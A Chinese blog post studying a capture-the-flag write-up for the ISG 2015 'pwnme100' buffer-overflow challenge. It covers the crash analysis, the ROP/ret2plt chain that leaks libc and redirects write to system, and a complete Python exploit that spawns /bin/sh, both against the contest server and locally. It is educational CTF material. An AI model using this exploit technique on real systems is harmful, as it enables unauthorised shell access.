ISG pwnme100 poc 学习

ISG pwnme100 poc 学习

背景

最近在学习ISG2015比赛的 FlappyPig 的writeup(http://bobao.360.cn/learning/detail/702.html),对其中的pwn比较感兴趣,因此查阅了部分资料后对poc进行了研究。
其中在csdn上海枫的专栏(http://blog.csdn.net/column/details/buffer-overflow.html)非常深刻的讲解了缓冲区溢出漏洞原理、实践和不同溢出攻击的技术分析,非常好,值得深看。
其次乌云知识平台上的linux常见漏洞利用技术实践(http://drops.wooyun.org/binary/6521),对如何利用缓冲溢出进行了入门的讲解。

程序分析

实验环境是

root@mifan:~/Desktop/isg/pwnme# cat /etc/debian_version 
Kali Linux 2.0
root@mifan:~/Desktop/isg/pwnme# uname -a
Linux mifan 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux

同ida反汇编得到存在漏洞的程序如下:

int sub_804847D()
{
  int v1; // [sp+18h] [bp-8h]@1

  alarm(0x3Cu);
  write(1, "Welcome to ISG 2015!\nPwn me to get the flag:\n", 0x2Du);
  read(0, &v1, 0x100u);
  return 0;
}

运行程序,尝试最后得到如下几个:

root@mifan:~/Desktop/isg/pwnme# python -c "print 'A'*20+'BBBB'"|./pwnme 
Welcome to ISG 2015!
Pwn me to get the flag:
Segmentation fault (core dumped)

注意:如果没有产生coredump,可以通过ulimit -c unlimited设置
确定是否覆盖了返回eip可以查看海枫的《缓冲区溢出攻击实践》(http://blog.csdn.net/linyt/article/details/43283331)
分析core文件

root@mifan:~/Desktop/isg/pwnme# gdb pwnme core 
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwnme...(no debugging symbols found)...done.
[New LWP 1451]
Core was generated by `./pwnme'.
Program terminated with signal SIGSEGV, Segmentation fault.
**#0  0x42424242 in ?? ()**

这里已经覆盖了,因此攻击的字符串就是20个’A’+shellcode

分析POC

Shellcode结构分析
Pwnme100 提供了lib库,因此可以通过ret2plt(参考使用ret2plt绕过libc安全区:http://blog.csdn.net/linyt/article/details/47429823)技术获取系统shell。
而FlappyPig 的攻击思路大致是

  1. 通过溢出,获取write函数在运行系统中的地址,实现方法是write(1,POINT_TO_WRITE_GOT,4)
  2. 得到这个write-got-address和libc中的write函数的地址(相对地址)进行运算,得到差值,这个差值可以用于计算system函数的真实got地址,并将这个地址替换write-got-address
  3. 通过交互将system函数的got地址发送到系统
  4. 系统运行的shellcode,将system-got-address读到write-got-address中
  5. 将”/bin/sh;\n”字符串作为参数,写入到read-got-address中
  6. 通过调用write函数,跳转到system-got-address函数,并且堆栈中的参数地址为read-got-address

shellcode结构如下:

stack desc
/bin/bash;\n system_got的参数
pop
write 最后跳转到system_got
9 Read参数3
read_got_address Read参数2
0 Read参数1
ppp Ret address
Read_plt_address Read参数,读取/bin/bash,修改read-got地址内容为/bin/bash
4 Read参数3
write_got_address Read参数2
0 Read参数1,system的got地址从这里获取
ppp Ret address
read_plt_address Read函数,读取system的got地址,修改write-got地址为system-got地址
4 Write 参数3
write_got_address Write 参数2
1 Write 参数1
ppp Ret address
write_plt_address 覆盖的eip,用于返回write-got地址
buf 覆盖栈空间

因此poc内容现在就能够看懂:

__author__ = "pxx"
from zio import *
import struct
target = ("202.120.7.145", 9991)#"./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
def pwn(io):
         io.read_until("the flag:\n")
         io.gdb_hint()
         data = full_buff("a", 16)
         print "data len:", len(data)
         write_plt_addr = l32(0x08048370)
         read_plt_addr = l32(0x08048330)
         read_got_addr = 0x0804a00c
         write_got_addr = 0x0804a01c
         ebp_str = l32(0x01010101)
         p_ret = l32(0x08048311)
         pp_ret = l32(0x0804853e)
         ppp_ret = l32(0x0804853d)
       #这里shellcode就是上面的逻辑,第一个write和(1)对应,后面的两个read分别和(2)、(3)对应。最后一个write_plt_addr + p_ret + l32(read_got_addr) 是调用system(“/bin/bash”)

         shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
         shellcode += write_plt_addr + p_ret + l32(read_got_addr)
         payload = data + ebp_str + shellcode#这里的data和ebp_str 大小20个字节,覆盖缓冲区
         io.write(payload + '\n')
         data = io.read(0x4)#(1)
         print len(data)
         write_real_addr = l32(data)#得到write got的实际地址
         print hex(write_real_addr)
         libc_addr = write_real_addr - 0x000dac50 #得到差值
         system_real_addr = libc_addr + 0x00040190#得到system函数的真实地址
         binstr_real_addr = libc_addr + 0x160a24
         io.write(l32(system_real_addr))#(2)发送system的got地址
         io.write("/bin/sh;\n")#(3)发送system函数的参数
         io.interact()
io = get_io(target)
pwn(io)

write等函数的plt和got定位

root@mifan:~/Desktop/isg/pwnme# objdump -d pwnme |grep "@plt>"
08048370 @plt>:
 80484a9:   e8 c2 fe ff ff          call   8048370 @plt>

通过plt确定got

gdb pwnme core
...
(gdb) x /12i 0x8048370 
   0x8048370 <write@plt>:   jmp    *0x804a01c
   0x8048376 <write@plt+6>: push   $0x20
   0x804837b <write@plt+11>:    jmp    0x8048320
   0x8048380:   xor    %ebp,%ebp
   0x8048382:   pop    %esi
   0x8048383:   mov    %esp,%ecx
   0x8048385:   and    $0xfffffff0,%esp
   0x8048388:   push   %eax
   0x8048389:   push   %esp
   0x804838a:   push   %edx
   0x804838b:   push   $0x8048550
   0x8048390:   push   $0x80484e0
(gdb) x /12i 0x804a01c
   0x804a01c <write@got.plt>:   pusha  
   0x804a01d <write@got.plt+1>: xchg   %eax,%esi
   0x804a01e <write@got.plt+2>: out    %al,(%dx)
   0x804a01f <write@got.plt+3>: mov    $0x0,%bh
   0x804a021:   add    %al,(%eax)
   0x804a023:   add    %al,(%eax)
   0x804a025:   add    %al,(%eax)
   0x804a027:   add    %al,(%eax)
   0x804a029:   add    %al,(%eax)
   0x804a02b:   add    %al,(%eax)
   0x804a02d:   add    %al,(%eax)
   0x804a02f:   add    %al,(%eax)

同理可以确定read的got和plt

确定write和system在libc中地址

root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "write"
   17d03:   e8 52 2f 0c 00          call   dac5a <__write+0xa>
   17d46:   e8 0f 2f 0c 00          call   dac5a <__write+0xa>
   17d8f:   e8 c6 2e 0c 00          call   dac5a <__write+0xa>
   19b88:   e8 c3 10 0c 00          call   dac50 <__write>
   27796:   e8 b5 34 0b 00          call   dac50 <__write>

root@mifan:~/Desktop/isg/pwnme# objdump -d libc-2.19.so |grep -i "__libc_system"
   3fc75:   0f 85 4d 05 00 00       jne    401c8 <__libc_system+0x38>
   3fceb:   0f 85 e7 04 00 00       jne    401d8 <__libc_system+0x48>
   3fde1:   0f 85 01 04 00 00       jne    401e8 <__libc_system+0x58>
   3fe4c:   0f 85 a6 03 00 00       jne    401f8 <__libc_system+0x68>
   3ff07:   0f 85 fb 02 00 00       jne    40208 <__libc_system+0x78>
   3ff6e:   0f 85 a4 02 00 00       jne    40218 <__libc_system+0x88>
   4011a:   0f 85 08 01 00 00       jne    40228 <__libc_system+0x98>
   40177:   0f 85 bb 00 00 00       jne    40238 <__libc_system+0xa8>
00040190 <__libc_system>:
   401a5:   74 09                   je     401b0 <__libc_system+0x20>

此时上面各个数字意义也确定完成了。

本地试验

由于没有环境了,在自己的环境上进行试验,只需要修改libc中的write和system地址即可

root@mifan:~/Desktop/isg/pwnme# ldd pwnme
    linux-gate.so.1 (0xb7fff000)
    libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e30000)
    /lib/ld-linux.so.2 (0x80000000)
root@mifan:~/Desktop/isg/pwnme# objdump -d /lib/i386-linux-gnu/i686/cmov/libc.so.6 |egrep -i "__write|__libc_system"

   276c6:   e8 95 1f 0b 00          call   d9660 <__write>
   3e351:   0f 85 b1 00 00 00       jne    3e408 <__libc_system+0xa8>
0003e360 <__libc_system>:

修改poc为:

__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t
def pwn(io):
         io.read_until("the flag:\n")
         io.gdb_hint()
         data = full_buff("a", 16)
         print "data len:", len(data)
         write_plt_addr = l32(0x08048370)
         read_plt_addr = l32(0x08048330)
         read_got_addr = 0x0804a00c
         write_got_addr = 0x0804a01c
         ebp_str = l32(0x01010101)
         p_ret = l32(0x08048311)
         pp_ret = l32(0x0804853e)
         ppp_ret = l32(0x0804853d)
         shellcode = write_plt_addr + ppp_ret + l32(0x1) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(write_got_addr) + l32(0x4)
         shellcode += read_plt_addr + ppp_ret + l32(0x0) + l32(read_got_addr) + l32(0x9)
         shellcode += write_plt_addr + p_ret + l32(read_got_addr)
         payload = data + ebp_str + shellcode
         io.write(payload + '\n')
         data = io.read(0x4)
         print len(data)
         write_real_addr = l32(data)
         print hex(write_real_addr)
         libc_addr = write_real_addr - 0x000d9660
         system_real_addr = libc_addr + 0x0003e360
         binstr_real_addr = libc_addr + 0x160a24
         io.write(l32(system_real_addr))
         io.write("/bin/sh;\n")
         io.interact()
io = get_io(target)
pwn(io)

运行结果如下:

root@mifan:~/Desktop/isg/pwnme# python py_pwn.py 
Welcome to ISG 2015!
Pwn me to get the flag:
zio -l 0.5 -b "For help" -a "`printf 'attach 1865\r\n'`" gdb
use cmdline above to attach gdb then press enter to continue ... 
data len: 16
aaaaaaaaaaaaaaaa= 
                        p 

`
0xb7ee9660L
`䤷/bin/sh;
ls
core  libc-2.19.idb  libc-2.19.so  pwnme  pwnme.id2  pwnme.til  py_pwn.py  py_pwn.py2
cat py_pwn.py
__author__ = "pxx"
from zio import *
import struct
#target = ("202.120.7.145", 9991)#"./pwnme"
target ="./pwnme"
def get_io(target):
         io = zio(target, timeout = 9999)
         return io
def full_buff(cur_data, length, ch_t = 'a'):
         len_t = length - len(cur_data)
         return cur_data + ch_t * len_t

你可能感兴趣的:(security)